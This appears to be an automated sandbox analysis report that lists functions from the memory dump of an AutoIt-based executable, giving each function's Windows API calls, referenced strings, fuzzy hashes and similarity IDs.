Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Variant$InitTime$ClearCopySystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d
API String ID: 2441338619-1568723262
Opcode ID: fb2f51703186a20004178103b8649f4d167f6bb40a9712cfd3fa1c58ddda4287
Instruction ID: b133888600745db9c21cebfea4757f971dc02095e60637d1a39f3aaeefd97691
Opcode Fuzzy Hash: fb2f51703186a20004178103b8649f4d167f6bb40a9712cfd3fa1c58ddda4287
Instruction Fuzzy Hash: EDA1C477A0061987CB209F55E4C066AFBE4FF44331F15859AED85AB340C636AC95E7E0

Uniqueness

Uniqueness Score: -1.00%

Function 00EE9400, Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 324sleepCOMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(00F87F04), ref: 00F0C5DF
InterlockedDecrement.KERNEL32(00F87F04), ref: 00F0C5FD
Sleep.KERNEL32(?), ref: 00F0C605
InterlockedIncrement.KERNEL32(00F87F04), ref: 00F0C610
InterlockedDecrement.KERNEL32(00F87F04), ref: 00F0C6C2

Strings

@COM_EVENTOBJ, xrefs: 00F0C6F7, 00F0C98E

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Interlocked$DecrementIncrement$Sleep
String ID: @COM_EVENTOBJ
API String ID: 327565842-2228938565
Opcode ID: ee23dbea1d1b637166fd3dd76daa746a1bbad409dd20136cb86c5cc438af405c
Instruction ID: 4218f0bdda881c8bacf0957fc2bc1b08cbb1c1ead56600b7570f327caaa31169
Opcode Fuzzy Hash: ee23dbea1d1b637166fd3dd76daa746a1bbad409dd20136cb86c5cc438af405c
Instruction Fuzzy Hash: 65D18A71D002098BCB10EF95C885BEEB7F4BF44310F248659E515BB292DB75AE86EBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00F4B9C2, Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 308COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F4BA14
VariantInit.OLEAUT32(?), ref: 00F4BAE4

Part of subcall function 00F31AB8: GetLastError.KERNEL32(?,?,00000000), ref: 00F31B16
Part of subcall function 00F31AB8: VariantCopy.OLEAUT32(?,?), ref: 00F31B6E
Part of subcall function 00F31AB8: VariantCopy.OLEAUT32(-00000068,?), ref: 00F31B84
Part of subcall function 00F31AB8: VariantCopy.OLEAUT32(-00000088,?), ref: 00F31B9D
Part of subcall function 00F31AB8: VariantClear.OLEAUT32(-00000058), ref: 00F31C17

Strings

Null Object assignment in FOR..IN loop, xrefs: 00F4BA63, 00F4BBD3, 00F4BBEF, 00F4BCBB
Incorrect Object type in FOR..IN loop, xrefs: 00F4BC0E

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Variant$Copy$ClearErrorInitLast_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 530611519-625585964
Opcode ID: 817f5b37ecb6b33a5241e8d0cf88e4960560f11128b34c4cbef48d9622e0ad53
Instruction ID: 31273f9f98d80bb1789671327e56f0edc995747a73c03dc6b22ee57db12e196c
Opcode Fuzzy Hash: 817f5b37ecb6b33a5241e8d0cf88e4960560f11128b34c4cbef48d9622e0ad53
Instruction Fuzzy Hash: C4A18572A00209ABDB10DF98DCC1EEEB7B9FB84315F508519FA04EB281D7B5D9419BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00EE1F20, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 240COMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00EE1F76
DestroyWindow.USER32(?), ref: 00F06EC0
UnregisterHotKey.USER32(?), ref: 00F06EE7
FreeLibrary.KERNEL32(?), ref: 00F06F8F
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00F06FC0

Strings

close all, xrefs: 00EE1F71

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Free$DestroyLibrarySendStringUnregisterVirtualWindow
String ID: close all
API String ID: 4174999648-3243417748
Opcode ID: 2572b46917935b19aad071fdba55135473d57b580e177175e43e5839c26db28c
Instruction ID: 63b147ff3a247c2463a79fb873df1c02dc2f152a01110debb720a97a2f0d7374
Opcode Fuzzy Hash: 2572b46917935b19aad071fdba55135473d57b580e177175e43e5839c26db28c
Instruction Fuzzy Hash: 88A18C75A1024ACFC714EF64D886B5AF3E8FF44300F1052A8E509BB292DB70AE56DF91

Uniqueness

Uniqueness Score: -1.00%

Function 00F2C753, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00F2C766
__wcsnicmp.LIBCMT ref: 00F2C824

Strings

#notrayicon, xrefs: 00F2C760
#OnAutoItStartRegister, xrefs: 00F2C786
#requireadmin, xrefs: 00F2C81E

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: 5d777f880712e6509ea16325e6620cb93d01143db705b450bbf60d950594da06
Instruction ID: e0383b0f09359915b1e78e93a9c369f7d1d351d82cab141feed7ba7fb0a546d2
Opcode Fuzzy Hash: 5d777f880712e6509ea16325e6620cb93d01143db705b450bbf60d950594da06
Instruction Fuzzy Hash: 7A210D3365162467D720A628BC83FEFB3989F65710F048026F905AF242D6A6B94697E2

Uniqueness

Uniqueness Score: -1.00%

Function 00F13D83, Relevance: 12.1, APIs: 8, Instructions: 107COMMON

Download Yara Rule

APIs

EnumProcesses.PSAPI(?,00000800,?,?,00F23C4D,?,?,?,00F88178), ref: 00F13DA0
OpenProcess.KERNEL32(00000410,00000000,?,?,?,00F88178), ref: 00F13DFE
EnumProcessModules.PSAPI(00000000,?,00000004,?), ref: 00F13E11
GetModuleBaseNameW.PSAPI(00000000,?,?,00000104), ref: 00F13E28
__wsplitpath.LIBCMT ref: 00F13E52
_wcscat.LIBCMT ref: 00F13E65
__wcsicoll.LIBCMT ref: 00F13E75
CloseHandle.KERNEL32(00000000), ref: 00F13EAD

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: EnumProcess$BaseCloseHandleModuleModulesNameOpenProcesses__wcsicoll__wsplitpath_wcscat
String ID:
API String ID: 2903788889-0
Opcode ID: e01451a6fe643f7785f1a371e4bc9f724a262bf6d844634d23ebe8cca9bbd8cc
Instruction ID: fba3aa3f88b5c906f829dcd6deeab12137bd01192f8783591ed0985787c73e17
Opcode Fuzzy Hash: e01451a6fe643f7785f1a371e4bc9f724a262bf6d844634d23ebe8cca9bbd8cc
Instruction Fuzzy Hash: F731647690020CABDB11CFA4DC84EEEB3BDAF98310F104195FA1997240DB71EF859BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F59705, Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 349COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 00F59761
NULL Pointer assignment, xrefs: 00F59786, 00F59AAC

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Variant$Copy$ClearErrorLast
String ID: NULL Pointer assignment$Not an Object type
API String ID: 2487901850-572801152
Opcode ID: 5357ddb508c7f81ea80fa003504aa423589b18a1577e5a45eb7e906d7ff2db21
Instruction ID: b0ac50f1ded3926a1fb6d454e234bf97afa2a558df6112bc879876816c9f88af
Opcode Fuzzy Hash: 5357ddb508c7f81ea80fa003504aa423589b18a1577e5a45eb7e906d7ff2db21
Instruction Fuzzy Hash: CDC1CF71E04209EBDF18DF94C881BEEB7B9FB48311F108559EE05AB241D7B59D88DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EEF540, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00EEF548

Part of subcall function 00EEF700: _memset.LIBCMT ref: 00EEF708

Part of subcall function 00EEF570: _memmove.LIBCMT ref: 00EEF5B9

Part of subcall function 00EEF570: _memmove.LIBCMT ref: 00EEF5D3

_memset.LIBCMT ref: 00EEF663
_memset.LIBCMT ref: 00EEF66D
_memset.LIBCMT ref: 00EEF67A
_sprintf.LIBCMT ref: 00EEF69E

Strings

%02X, xrefs: 00EEF698

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _memset$_memmove$_sprintf_strlen
String ID: %02X
API String ID: 1823384282-436463671
Opcode ID: 8ce09a5cc724954f6db8926cc58801e5a2cf0679e79386768ac312eb5b908169
Instruction ID: 7e8e41303c3bfa18bb3526dd6e8062957b9a4abe7c071bd10b38082fcf0e2159
Opcode Fuzzy Hash: 8ce09a5cc724954f6db8926cc58801e5a2cf0679e79386768ac312eb5b908169
Instruction Fuzzy Hash: 6D21D771B0025C77D710A669CC82BABB7DCAF91700F10507BF645F7282EA64EE1983E5

Uniqueness

Uniqueness Score: -1.00%

Function 00F24AE1, Relevance: 9.2, APIs: 6, Instructions: 163COMMON

Download Yara Rule

APIs

_wcscpy.LIBCMT ref: 00F24BE1
_wcscat.LIBCMT ref: 00F24BE8
_wcscpy.LIBCMT ref: 00F24BFC
_wcscpy.LIBCMT ref: 00F24C30
_wcscat.LIBCMT ref: 00F24C37
_wcscpy.LIBCMT ref: 00F24C4B

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcscpy$_wcscat
String ID:
API String ID: 2037614760-0
Opcode ID: 191977c05ae63bf92e38f7f79ec1f74aa843ee787d43ab9f430e4519fd75372f
Instruction ID: 32935e7b6f8fb49e8fdbf510bda694cb7a853a0eaad8f164583fbf3c1861a3b0
Opcode Fuzzy Hash: 191977c05ae63bf92e38f7f79ec1f74aa843ee787d43ab9f430e4519fd75372f
Instruction Fuzzy Hash: 69414731900138A6CB34EF58E8D1AFF73A8DFD5330F40005AF95697102D6A5B992E7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00F31AB8, Relevance: 9.1, APIs: 6, Instructions: 144memoryCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00000000), ref: 00F31B16
VariantCopy.OLEAUT32(?,?), ref: 00F31B6E
VariantCopy.OLEAUT32(-00000068,?), ref: 00F31B84
VariantCopy.OLEAUT32(-00000088,?), ref: 00F31B9D
VariantClear.OLEAUT32(-00000058), ref: 00F31C17
SysAllocString.OLEAUT32(00000000), ref: 00F31C30

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Variant$Copy$AllocClearErrorLastString
String ID:
API String ID: 960795272-0
Opcode ID: 48a03688b83f09579d7dbf35bc3e22e1e0c7e1ef4e99e44e94eb91ddb280e273
Instruction ID: 03d7267633bf3e684f587dc6cc0f265928829b1210d710513ea16c54745e444d
Opcode Fuzzy Hash: 48a03688b83f09579d7dbf35bc3e22e1e0c7e1ef4e99e44e94eb91ddb280e273
Instruction Fuzzy Hash: 4D518C75A042099FCB14DF65DC80BEAB7B9FF48310F208169E904AB361DB74ED45DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F13187, Relevance: 9.1, APIs: 6, Instructions: 64sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,00F88178), ref: 00F1319E
QueryPerformanceCounter.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,?,00F88178), ref: 00F131B9
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,00F88178), ref: 00F131C3
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00F88178), ref: 00F131CB
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,00F88178), ref: 00F131D5

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 2b64d9f5201b98f8b6dad50267d384f57137b30dd5d460065b5589b32a116e97
Instruction ID: 20a78e552e97e819c7c61e758dea1e8d89067a9e9b01dc8fb4f8b1470518329b
Opcode Fuzzy Hash: 2b64d9f5201b98f8b6dad50267d384f57137b30dd5d460065b5589b32a116e97
Instruction Fuzzy Hash: 8B11D032D0411DABCF00AFA9E9049EDB778FF49722F014595EA18B3244DB709A41ABA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EF6FA5, Relevance: 9.0, APIs: 6, Instructions: 47COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00EF6FB1

Part of subcall function 00EF798C: __getptd_noexit.LIBCMT ref: 00EF798F
Part of subcall function 00EF798C: __amsg_exit.LIBCMT ref: 00EF799C

__amsg_exit.LIBCMT ref: 00EF6FD1
__lock.LIBCMT ref: 00EF6FE1
InterlockedDecrement.KERNEL32(?), ref: 00EF6FFE
_free.LIBCMT ref: 00EF7011
InterlockedIncrement.KERNEL32(034917D8), ref: 00EF7029

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: b01d693645022747a7a0f1d5801543ee776b4801d7bd56ace4bbad6892c3f415
Instruction ID: 20b96c0ae0401b8c7c972c9c3b7e71bdb0a1d4dd5f943987e28f7981e8d13b5a
Opcode Fuzzy Hash: b01d693645022747a7a0f1d5801543ee776b4801d7bd56ace4bbad6892c3f415
Instruction Fuzzy Hash: 75016132A0562DEBD764AF24940577D77A0AF04724F052105E694B7282CF746D81EBD6

Uniqueness

Uniqueness Score: -1.00%

Function 00EEF010, Relevance: 9.0, APIs: 6, Instructions: 40keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00EEF048
MapVirtualKeyW.USER32(00000010,00000000), ref: 00EEF050
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00EEF05B
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00EEF066
MapVirtualKeyW.USER32(00000011,00000000), ref: 00EEF06E
MapVirtualKeyW.USER32(00000012,00000000), ref: 00EEF076

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: da9f6e550242e87fed984e013ecc0ac9da0a8070bc6cbd0a10163dbd3314c60a
Instruction ID: 414256812ef145b0899fd490d50545cbecf704d4c17f350ca957ea907aa61cb1
Opcode Fuzzy Hash: da9f6e550242e87fed984e013ecc0ac9da0a8070bc6cbd0a10163dbd3314c60a
Instruction Fuzzy Hash: 70016770106B88ADD3309F668C84B43FEF8EF95704F01490DD1D507A52C6B5A84CCB69

Uniqueness

Uniqueness Score: -1.00%

Function 00F2B5C7, Relevance: 9.0, APIs: 6, Instructions: 40synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00F2B5E1
EnterCriticalSection.KERNEL32(?), ref: 00F2B5F2
TerminateThread.KERNEL32(?,000001F6), ref: 00F2B600
WaitForSingleObject.KERNEL32(?,000003E8,?,000001F6), ref: 00F2B60E

Part of subcall function 00F125E5: CloseHandle.KERNEL32(00000000,00000000,?,00F2B61A,00000000,?,000003E8,?,000001F6), ref: 00F125F3

InterlockedExchange.KERNEL32(?,000001F6), ref: 00F2B623
LeaveCriticalSection.KERNEL32(?), ref: 00F2B62A

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: d0d839af3bc52c4f5f37f3cef963479e1e1f1b15ddfb743cb83ff14f14dae124
Instruction ID: 881861e3c62a7f6347cf0e84a7429ad3df9d69e62515fd02133b73c43dac116d
Opcode Fuzzy Hash: d0d839af3bc52c4f5f37f3cef963479e1e1f1b15ddfb743cb83ff14f14dae124
Instruction Fuzzy Hash: 46F0AF72541605BBE280ABA0ED88DEBB77CFF44761B400126FA0182590CBB4A461EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F3F9B8, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F3FA20
GetMenuItemInfoW.USER32 ref: 00F3FA3B
DeleteMenu.USER32(?,?,00000000), ref: 00F3FA8C
DeleteMenu.USER32(00000000,?,00000000), ref: 00F3FADF

Strings

0, xrefs: 00F3FA18

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: 99f71734b35de14cc685afc21e6b93df0c13015121020b6bb67254abdf61bed1
Instruction ID: f7dd3abe6232fb97b763a685dc905a1426f24d7d328858e68046aa840c45dc40
Opcode Fuzzy Hash: 99f71734b35de14cc685afc21e6b93df0c13015121020b6bb67254abdf61bed1
Instruction Fuzzy Hash: 03419EB1A04201ABD710DF24DC44B1AB7E8AF85734F14862DF969AB2C1D378E8499BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00EFF619, Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00EFF627

Part of subcall function 00EF34DB: __FF_MSGBANNER.LIBCMT ref: 00EF34F4
Part of subcall function 00EF34DB: __NMSG_WRITE.LIBCMT ref: 00EF34FB
Part of subcall function 00EF34DB: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,00EF6A35,?,00000001,?,?,00EF8179,00000018,00F6D180,0000000C,00EF8209), ref: 00EF3520

_free.LIBCMT ref: 00EFF63A

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 484028a1270181c2a6c3e9082263a2e4f7aec3ae45f671957a3cfb6bebd7f5db
Instruction ID: 385be2533fbdad7aa2059fdb04eb3745c7a655147aa2132a5a68fd17fc55d645
Opcode Fuzzy Hash: 484028a1270181c2a6c3e9082263a2e4f7aec3ae45f671957a3cfb6bebd7f5db
Instruction Fuzzy Hash: 2B11A73354461CABCF213B74A80567A37D8DF447A1F22647AFA49FA261EF748C80D6E4

Uniqueness

Uniqueness Score: -1.00%

Function 00EF7726, Relevance: 7.5, APIs: 5, Instructions: 34COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00EF7732

Part of subcall function 00EF798C: __getptd_noexit.LIBCMT ref: 00EF798F
Part of subcall function 00EF798C: __amsg_exit.LIBCMT ref: 00EF799C

__getptd.LIBCMT ref: 00EF7749
__amsg_exit.LIBCMT ref: 00EF7757
__lock.LIBCMT ref: 00EF7767
__updatetlocinfoEx_nolock.LIBCMT ref: 00EF777B

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 77ace5fa935bc828d133651b8f3ce242f60381a000175049dec8eacbee164dbe
Instruction ID: fe5cf9ae6747ba582e11cf2f491fc8e206dd8e88b6c6016aa6642ee011c6f039
Opcode Fuzzy Hash: 77ace5fa935bc828d133651b8f3ce242f60381a000175049dec8eacbee164dbe
Instruction Fuzzy Hash: A9F0903291C71C9BD720BB789803B7D73E0AF00725F11615AF794B72C2DF745940AA5A

Uniqueness

Uniqueness Score: -1.00%

